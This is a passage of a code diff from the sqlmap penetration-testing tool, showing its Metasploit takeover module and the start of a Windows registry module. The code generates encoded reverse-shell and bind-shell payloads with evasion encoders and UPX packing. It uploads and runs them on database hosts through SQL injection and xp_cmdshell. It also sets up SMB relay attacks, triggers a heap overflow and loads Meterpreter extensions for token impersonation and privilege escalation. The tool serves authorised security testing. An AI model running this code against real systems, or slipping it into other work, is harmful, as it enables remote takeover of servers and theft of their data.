2: ( "Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports" ),
|
||||||
|
3: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||||
|
},
|
||||||
|
"linux": {
|
||||||
|
1: ( "Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp" ),
|
||||||
|
2: ( "Bind TCP: Listen on the database host for a connection", "bind_tcp" ),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.__msfEncodersList = {
|
||||||
|
"windows": {
|
||||||
|
1: ( "No Encoder", "generic/none" ),
|
||||||
|
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
|
||||||
|
3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
|
||||||
|
4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
|
||||||
|
5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
|
||||||
|
6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
|
||||||
|
7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
|
||||||
|
8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
|
||||||
|
9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
|
||||||
|
10: ( "Non-Upper Encoder", "x86/nonupper" ),
|
||||||
|
11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
|
||||||
|
12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
|
||||||
|
13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.__msfSMBPortsList = {
|
||||||
|
"windows": {
|
||||||
|
1: ( "139/TCP (default)", "139" ),
|
||||||
|
2: ( "445/TCP", "445" ),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
self.__portData = {
|
||||||
|
"bind": "remote port number",
|
||||||
|
"reverse": "local port number",
|
||||||
|
}
|
||||||
|
|
||||||
|
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||||
|
if kb.os == "Windows":
|
||||||
|
opSys = "windows"
|
||||||
|
else:
|
||||||
|
opSys = "linux"
|
||||||
|
|
||||||
|
message = "which %s do you want to use?" % msg
|
||||||
|
|
||||||
|
if lst:
|
||||||
|
for num, data in lst[opSys].items():
|
||||||
|
description = data[0]
|
||||||
|
|
||||||
|
if num > maxValue:
|
||||||
|
maxValue = num
|
||||||
|
|
||||||
|
if "(default)" in description:
|
||||||
|
default = num
|
||||||
|
|
||||||
|
message += "\n[%d] %s" % (num, description)
|
||||||
|
else:
|
||||||
|
message += " [%d] " % default
|
||||||
|
|
||||||
|
choice = readInput(message, default="%d" % default)
|
||||||
|
|
||||||
|
if not choice:
|
||||||
|
if lst:
|
||||||
|
choice = str(default)
|
||||||
|
else:
|
||||||
|
return default
|
||||||
|
|
||||||
|
elif not choice.isdigit():
|
||||||
|
logger.warn("invalid value, only digits are allowed")
|
||||||
|
return self.__skeletonSelection(msg, lst, maxValue, default)
|
||||||
|
|
||||||
|
elif int(choice) > maxValue or int(choice) < 1:
|
||||||
|
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
|
||||||
|
return self.__skeletonSelection(msg, lst, maxValue, default)
|
||||||
|
|
||||||
|
choice = int(choice)
|
||||||
|
|
||||||
|
if lst:
|
||||||
|
choice = lst[opSys][choice][1]
|
||||||
|
|
||||||
|
return choice
|
||||||
|
|
||||||
|
def __selectSMBPort(self):
|
||||||
|
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
|
||||||
|
|
||||||
|
def __selectEncoder(self, encode=True):
|
||||||
|
if isinstance(encode, str):
|
||||||
|
return encode
|
||||||
|
|
||||||
|
elif kb.os == "Windows" and encode:
|
||||||
|
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
||||||
|
|
||||||
|
def __selectPayload(self, askChurrasco=True):
|
||||||
|
if kb.os == "Windows" and conf.privEsc:
|
||||||
|
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
||||||
|
infoMsg += "it is the only payload that can abuse Windows "
|
||||||
|
infoMsg += "Access Tokens via Meterpreter 'incognito' "
|
||||||
|
infoMsg += "extension to privilege escalate"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
__payloadStr = "windows/meterpreter"
|
||||||
|
|
||||||
|
else:
|
||||||
|
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
|
||||||
|
|
||||||
|
if __payloadStr == "windows/vncinject":
|
||||||
|
choose = False
|
||||||
|
|
||||||
|
if kb.dbms == "MySQL":
|
||||||
|
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||||
|
debugMsg += "user, it is likely that the the VNC "
|
||||||
|
debugMsg += "injection will be successful"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
elif kb.dbms == "PostgreSQL":
|
||||||
|
choose = True
|
||||||
|
|
||||||
|
warnMsg = "by default PostgreSQL on Windows runs as "
|
||||||
|
warnMsg += "postgres user, it is unlikely that the VNC "
|
||||||
|
warnMsg += "injection will be successful"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
|
choose = True
|
||||||
|
|
||||||
|
warnMsg = "it is unlikely that the VNC injection will be "
|
||||||
|
warnMsg += "successful because usually Microsoft SQL Server "
|
||||||
|
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
|
||||||
|
warnMsg += "or the Administrator is not logged in"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
if choose:
|
||||||
|
message = "what do you want to do?\n"
|
||||||
|
message += "[1] Give it a try anyway\n"
|
||||||
|
message += "[2] Fall back to Meterpreter payload (default)\n"
|
||||||
|
message += "[3] Fall back to Shell payload"
|
||||||
|
|
||||||
|
while True:
|
||||||
|
choice = readInput(message, default="2")
|
||||||
|
|
||||||
|
if not choice or choice == "2":
|
||||||
|
__payloadStr = "windows/meterpreter"
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif choice == "3":
|
||||||
|
__payloadStr = "windows/shell"
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif choice == "1":
|
||||||
|
if kb.dbms == "PostgreSQL":
|
||||||
|
logger.warn("beware that the VNC injection might not work")
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif not askChurrasco:
|
||||||
|
logger.warn("beware that the VNC injection might not work")
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||||
|
uploaded = self.uploadChurrasco()
|
||||||
|
|
||||||
|
if not uploaded:
|
||||||
|
warnMsg = "beware that the VNC injection "
|
||||||
|
warnMsg += "might not work"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
break
|
||||||
|
|
||||||
|
elif not choice.isdigit():
|
||||||
|
logger.warn("invalid value, only digits are allowed")
|
||||||
|
|
||||||
|
elif int(choice) < 1 or int(choice) > 2:
|
||||||
|
logger.warn("invalid value, it must be 1 or 2")
|
||||||
|
|
||||||
|
return __payloadStr
|
||||||
|
|
||||||
|
def __selectPort(self):
|
||||||
|
for connType, connStr in self.__portData.items():
|
||||||
|
if self.connectionStr.startswith(connType):
|
||||||
|
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
|
||||||
|
|
||||||
|
def __selectRhost(self):
|
||||||
|
if self.connectionStr.startswith("bind"):
|
||||||
|
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
||||||
|
address = readInput(message, default=self.remoteIP)
|
||||||
|
|
||||||
|
if not address:
|
||||||
|
address = self.remoteIP
|
||||||
|
|
||||||
|
return address
|
||||||
|
|
||||||
|
elif self.connectionStr.startswith("reverse"):
|
||||||
|
return None
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
def __selectLhost(self):
|
||||||
|
if self.connectionStr.startswith("reverse") or self.resourceFile is not None:
|
||||||
|
message = "which is the local address? [%s] " % self.localIP
|
||||||
|
address = readInput(message, default=self.localIP)
|
||||||
|
|
||||||
|
if not address:
|
||||||
|
address = self.localIP
|
||||||
|
|
||||||
|
return address
|
||||||
|
|
||||||
|
elif self.connectionStr.startswith("bind"):
|
||||||
|
return None
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
def __selectConnection(self):
|
||||||
|
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||||
|
|
||||||
|
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
||||||
|
self.connectionStr = self.__selectConnection()
|
||||||
|
self.lhostStr = self.__selectLhost()
|
||||||
|
self.rhostStr = self.__selectRhost()
|
||||||
|
self.portStr = self.__selectPort()
|
||||||
|
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||||
|
self.encoderStr = self.__selectEncoder(encode)
|
||||||
|
|
||||||
|
if self.payloadStr == "linux/x86/shell":
|
||||||
|
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
|
||||||
|
else:
|
||||||
|
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||||
|
|
||||||
|
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||||
|
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||||
|
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||||
|
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||||
|
|
||||||
|
if self.payloadStr == "windows/vncinject":
|
||||||
|
self.__cliCmd += " DisableCourtesyShell=1"
|
||||||
|
|
||||||
|
if self.connectionStr.startswith("bind"):
|
||||||
|
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
||||||
|
|
||||||
|
elif self.connectionStr.startswith("reverse"):
|
||||||
|
self.__cliCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
self.__cliCmd += " E"
|
||||||
|
|
||||||
|
def __forgeMsfConsoleCmd(self):
|
||||||
|
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
|
||||||
|
|
||||||
|
def __forgeMsfConsoleResource(self):
|
||||||
|
self.resourceFile = os.path.join(conf.outputPath, self.__randFile)
|
||||||
|
|
||||||
|
self.__prepareIngredients(encode=False, askChurrasco=False)
|
||||||
|
|
||||||
|
self.__resource = "use windows/smb/smb_relay\n"
|
||||||
|
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||||
|
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||||
|
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||||
|
self.__resource += "set LPORT %s\n" % self.portStr
|
||||||
|
|
||||||
|
if self.connectionStr.startswith("bind"):
|
||||||
|
self.__resource += "set RHOST %s\n" % self.rhostStr
|
||||||
|
|
||||||
|
elif self.connectionStr.startswith("reverse"):
|
||||||
|
self.__resource += "set LHOST %s\n" % self.lhostStr
|
||||||
|
|
||||||
|
else:
|
||||||
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
self.__resource += "exploit\n"
|
||||||
|
|
||||||
|
self.resourceFp = open(self.resourceFile, "w")
|
||||||
|
self.resourceFp.write(self.__resource)
|
||||||
|
self.resourceFp.close()
|
||||||
|
|
||||||
|
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||||
|
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||||
|
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||||
|
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||||
|
|
||||||
|
if self.connectionStr.startswith("reverse"):
|
||||||
|
self.__payloadCmd += " LHOST=%s" % self.lhostStr
|
||||||
|
|
||||||
|
elif not self.connectionStr.startswith("bind"):
|
||||||
|
raise sqlmapDataException, "unexpected connection type"
|
||||||
|
|
||||||
|
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||||
|
self.__payloadCmd += " R | %s -a x86 -e %s -o %s -t %s" % (self.__msfEncode, self.encoderStr, outFile, format)
|
||||||
|
|
||||||
|
if extra is not None:
|
||||||
|
self.__payloadCmd += " %s" % extra
|
||||||
|
else:
|
||||||
|
self.__payloadCmd += " X > %s" % outFile
|
||||||
|
|
||||||
|
def __runMsfCli(self, exitfunc):
|
||||||
|
self.__forgeMsfCliCmd(exitfunc)
|
||||||
|
|
||||||
|
infoMsg = "running Metasploit Framework 3 command line "
|
||||||
|
infoMsg += "interface locally, wait.."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
logger.debug("executing local command: %s" % self.__cliCmd)
|
||||||
|
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||||
|
|
||||||
|
def __runMsfConsole(self):
|
||||||
|
infoMsg = "running Metasploit Framework 3 console locally, wait.."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
logger.debug("executing local command: %s" % self.__consoleCmd)
|
||||||
|
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||||
|
|
||||||
|
def __runMsfShellcodeRemote(self):
|
||||||
|
infoMsg = "running Metasploit Framework 3 shellcode "
|
||||||
|
infoMsg += "remotely via UDF 'sys_bineval', wait.."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||||
|
|
||||||
|
def __runMsfPayloadRemote(self):
|
||||||
|
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||||
|
infoMsg += "remotely, wait.."
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if kb.os != "Windows":
|
||||||
|
self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
|
||||||
|
|
||||||
|
cmd = "%s &" % self.exeFilePathRemote
|
||||||
|
|
||||||
|
if self.cmdFromChurrasco:
|
||||||
|
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
|
||||||
|
|
||||||
|
if kb.dbms == "Microsoft SQL Server":
|
||||||
|
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||||
|
|
||||||
|
self.execCmd(cmd, silent=True)
|
||||||
|
|
||||||
|
def __loadMetExtensions(self, proc, metSess):
|
||||||
|
if kb.os != "Windows":
|
||||||
|
return
|
||||||
|
|
||||||
|
if self.resourceFile is not None:
|
||||||
|
proc.stdin.write("sessions -l\n")
|
||||||
|
proc.stdin.write("sessions -i %s\n" % metSess)
|
||||||
|
|
||||||
|
proc.stdin.write("getuid\n")
|
||||||
|
|
||||||
|
proc.stdin.write("use espia\n")
|
||||||
|
proc.stdin.write("use incognito\n")
|
||||||
|
proc.stdin.write("use priv\n")
|
||||||
|
proc.stdin.write("use sniffer\n")
|
||||||
|
|
||||||
|
if conf.privEsc:
|
||||||
|
print
|
||||||
|
|
||||||
|
infoMsg = "displaying the list of Access Tokens availables. "
|
||||||
|
infoMsg += "Choose which user you want to impersonate by "
|
||||||
|
infoMsg += "using incognito's command 'impersonate_token'"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
proc.stdin.write("list_tokens -u\n")
|
||||||
|
|
||||||
|
def __controlMsfCmd(self, proc, func):
|
||||||
|
stdin_fd = sys.stdin.fileno()
|
||||||
|
setNonBlocking(stdin_fd)
|
||||||
|
|
||||||
|
proc_out_fd = proc.stdout.fileno()
|
||||||
|
setNonBlocking(proc_out_fd)
|
||||||
|
|
||||||
|
while True:
|
||||||
|
returncode = proc.poll()
|
||||||
|
|
||||||
|
if returncode is None:
|
||||||
|
# Child hasn't exited yet
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
logger.debug("connection closed properly")
|
||||||
|
return returncode
|
||||||
|
|
||||||
|
try:
|
||||||
|
ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
|
||||||
|
|
||||||
|
if stdin_fd in ready_fds[0]:
|
||||||
|
try:
|
||||||
|
proc.stdin.write(blockingReadFromFD(stdin_fd))
|
||||||
|
except IOError:
|
||||||
|
# Probably the child has exited
|
||||||
|
pass
|
||||||
|
|
||||||
|
if proc_out_fd in ready_fds[0]:
|
||||||
|
out = blockingReadFromFD(proc_out_fd)
|
||||||
|
blockingWriteToFD(sys.stdout.fileno(), out)
|
||||||
|
|
||||||
|
# For --os-pwn and --os-bof
|
||||||
|
pwnBofCond = self.connectionStr.startswith("reverse")
|
||||||
|
pwnBofCond &= "Starting the payload handler" in out
|
||||||
|
|
||||||
|
# For --os-smbrelay
|
||||||
|
smbRelayCond = "Server started" in out
|
||||||
|
|
||||||
|
if pwnBofCond or smbRelayCond:
|
||||||
|
func()
|
||||||
|
|
||||||
|
if "Starting the payload handler" in out and "shell" in self.payloadStr:
|
||||||
|
if kb.os == "Windows":
|
||||||
|
proc.stdin.write("whoami\n")
|
||||||
|
else:
|
||||||
|
proc.stdin.write("uname -a ; id\n")
|
||||||
|
|
||||||
|
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||||
|
|
||||||
|
if metSess:
|
||||||
|
self.__loadMetExtensions(proc, metSess.group(1))
|
||||||
|
|
||||||
|
except EOFError:
|
||||||
|
returncode = proc.wait()
|
||||||
|
|
||||||
|
return returncode
|
||||||
|
|
||||||
|
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
||||||
|
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.__randStr = randomStr(lowercase=True)
|
||||||
|
self.__shellcodeFilePath = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||||
|
|
||||||
|
self.__initVars()
|
||||||
|
self.__prepareIngredients(encode=encode, askChurrasco=False)
|
||||||
|
self.__forgeMsfPayloadCmd(exitfunc, format, self.__shellcodeFilePath, extra)
|
||||||
|
|
||||||
|
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||||
|
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||||
|
|
||||||
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||||
|
pollProcess(process)
|
||||||
|
payloadStderr = process.communicate()[1]
|
||||||
|
|
||||||
|
if kb.os == "Windows" or extra == "BufferRegister=EAX":
|
||||||
|
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||||
|
else:
|
||||||
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||||
|
|
||||||
|
if payloadSize:
|
||||||
|
payloadSize = int(payloadSize.group(1))
|
||||||
|
|
||||||
|
if extra == "BufferRegister=EAX":
|
||||||
|
payloadSize = payloadSize / 2
|
||||||
|
|
||||||
|
debugMsg = "the shellcode size is %d bytes" % payloadSize
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
else:
|
||||||
|
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", "")
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
self.__shellcodeFP = open(self.__shellcodeFilePath, "rb")
|
||||||
|
self.shellcodeString = self.__shellcodeFP.read()
|
||||||
|
self.__shellcodeFP.close()
|
||||||
|
|
||||||
|
os.unlink(self.__shellcodeFilePath)
|
||||||
|
|
||||||
|
def createMsfPayloadStager(self, initialize=True):
|
||||||
|
if initialize:
|
||||||
|
infoMsg = ""
|
||||||
|
else:
|
||||||
|
infoMsg = "re"
|
||||||
|
|
||||||
|
infoMsg += "creating Metasploit Framework 3 payload stager"
|
||||||
|
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
self.__randStr = randomStr(lowercase=True)
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s.exe" % self.__randStr)
|
||||||
|
|
||||||
|
# Metasploit developers added support for the old exe format
|
||||||
|
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
|
||||||
|
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
|
||||||
|
# This is useful for sqlmap because on PostgreSQL it is not
|
||||||
|
# possible to write files bigger than 8192 bytes abusing the
|
||||||
|
# lo_export() feature implemented in sqlmap.
|
||||||
|
if kb.dbms == "PostgreSQL":
|
||||||
|
self.__fileFormat = "exe-small"
|
||||||
|
else:
|
||||||
|
self.__fileFormat = "exe"
|
||||||
|
else:
|
||||||
|
self.exeFilePathLocal = os.path.join(conf.outputPath, "sqlmapmsf%s" % self.__randStr)
|
||||||
|
self.__fileFormat = "elf"
|
||||||
|
|
||||||
|
if initialize:
|
||||||
|
self.__initVars()
|
||||||
|
|
||||||
|
if self.payloadStr is None:
|
||||||
|
self.__prepareIngredients()
|
||||||
|
|
||||||
|
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
||||||
|
|
||||||
|
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||||
|
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||||
|
|
||||||
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||||
|
pollProcess(process)
|
||||||
|
payloadStderr = process.communicate()[1]
|
||||||
|
|
||||||
|
if kb.os == "Windows":
|
||||||
|
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
|
||||||
|
else:
|
||||||
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||||
|
|
||||||
|
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
||||||
|
|
||||||
|
if payloadSize:
|
||||||
|
payloadSize = payloadSize.group(1)
|
||||||
|
exeSize = os.path.getsize(self.exeFilePathLocal)
|
||||||
|
|
||||||
|
# Only pack the payload stager if the back-end DBMS is not
|
||||||
|
# PostgreSQL because for this DBMS, sqlmap uses the
|
||||||
|
# Metasploit's old exe format
|
||||||
|
if self.__fileFormat != "exe-small":
|
||||||
|
packedSize = upx.pack(self.exeFilePathLocal)
|
||||||
|
else:
|
||||||
|
packedSize = None
|
||||||
|
|
||||||
|
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||||
|
|
||||||
|
if packedSize and packedSize < exeSize:
|
||||||
|
debugMsg += "as a compressed portable executable its size "
|
||||||
|
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||||
|
debugMsg += "was %s bytes large" % exeSize
|
||||||
|
else:
|
||||||
|
debugMsg += "as a portable executable its size is "
|
||||||
|
debugMsg += "%s bytes" % exeSize
|
||||||
|
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
else:
|
||||||
|
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
||||||
|
raise sqlmapFilePathException, errMsg
|
||||||
|
|
||||||
|
def uploadMsfPayloadStager(self):
|
||||||
|
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
||||||
|
|
||||||
|
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
|
||||||
|
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
|
||||||
|
|
||||||
|
os.unlink(self.exeFilePathLocal)
|
||||||
|
|
||||||
|
def pwn(self, goUdf=False):
|
||||||
|
if goUdf:
|
||||||
|
exitfunc = "thread"
|
||||||
|
func = self.__runMsfShellcodeRemote
|
||||||
|
else:
|
||||||
|
exitfunc = "process"
|
||||||
|
func = self.__runMsfPayloadRemote
|
||||||
|
|
||||||
|
self.__runMsfCli(exitfunc=exitfunc)
|
||||||
|
|
||||||
|
if self.connectionStr.startswith("bind"):
|
||||||
|
func()
|
||||||
|
|
||||||
|
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||||
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
if not goUdf:
|
||||||
|
self.delRemoteFile(self.exeFilePathRemote, doubleslash=True)
|
||||||
|
|
||||||
|
def smb(self):
|
||||||
|
self.__initVars()
|
||||||
|
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
||||||
|
|
||||||
|
self.__forgeMsfConsoleResource()
|
||||||
|
self.__forgeMsfConsoleCmd()
|
||||||
|
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
|
||||||
|
else:
|
||||||
|
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)
|
||||||
|
|
||||||
|
self.__runMsfConsole()
|
||||||
|
|
||||||
|
debugMsg = "Metasploit Framework 3 console exited with return "
|
||||||
|
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
os.unlink(self.resourceFile)
|
||||||
|
|
||||||
|
def bof(self):
|
||||||
|
self.__runMsfCli(exitfunc="seh")
|
||||||
|
|
||||||
|
if self.connectionStr.startswith("bind"):
|
||||||
|
self.spHeapOverflow()
|
||||||
|
|
||||||
|
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||||
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
|
||||||
|
logger.debug(debugMsg)
|
||||||
133
lib/takeover/registry.py
Normal file
133
lib/takeover/registry.py
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
|
||||||
|
class Registry:
|
||||||
|
"""
|
||||||
|
This class defines methods to read and write Windows registry keys
|
||||||
|
"""
|
||||||
|
|
||||||
|
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
|
||||||
|
self.__regKey = regKey
|
||||||
|
self.__regValue = regValue
|
||||||
|
self.__regType = regType
|
||||||
|
self.__regData = regData
|
||||||
|
|
||||||
|
self.__randStr = randomStr(lowercase=True)
|
||||||
|
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||||
|
self.__batPathLocal = os.path.join(conf.outputPath, "sqlmapreg%s%s.bat" % (self.__operation, self.__randStr))
|
||||||
|
|
||||||
|
if parse:
|
||||||
|
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||||
|
else:
|
||||||
|
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\""
|
||||||
|
|
||||||
|
self.__batRead = (
|
||||||
|
"@ECHO OFF\r\n",
|
||||||
|
readParse
|
||||||
|
)
|
||||||
|
|
||||||
|
self.__batAdd = (
|
||||||
|
"@ECHO OFF\r\n",
|
||||||
|
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
|
||||||
|
)
|
||||||
|
|
||||||
|
self.__batDel = (
|
||||||
|
"@ECHO OFF\r\n",
|
||||||
|
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
||||||
|
)
|
||||||
|
|
||||||
|
def __createLocalBatchFile(self):
|
||||||
|
self.__batPathFp = open(self.__batPathLocal, "w")
|
||||||
|
|
||||||
|
if self.__operation == "read":
|
||||||
|
lines = self.__batRead
|
||||||
|
elif self.__operation == "add":
|
||||||
|
lines = self.__batAdd
|
||||||
|
elif self.__operation == "delete":
|
||||||
|
lines = self.__batDel
|
||||||
|
|
||||||
|
for line in lines:
|
||||||
|
self.__batPathFp.write(line)
|
||||||
|
|
||||||
|
self.__batPathFp.close()
|
||||||
|
|
||||||
|
def __createRemoteBatchFile(self):
|
||||||
|
logger.debug("creating batch file '%s'" % self.__batPathRemote)
|
||||||
|
|
||||||
|
self.__createLocalBatchFile()
|
||||||
|
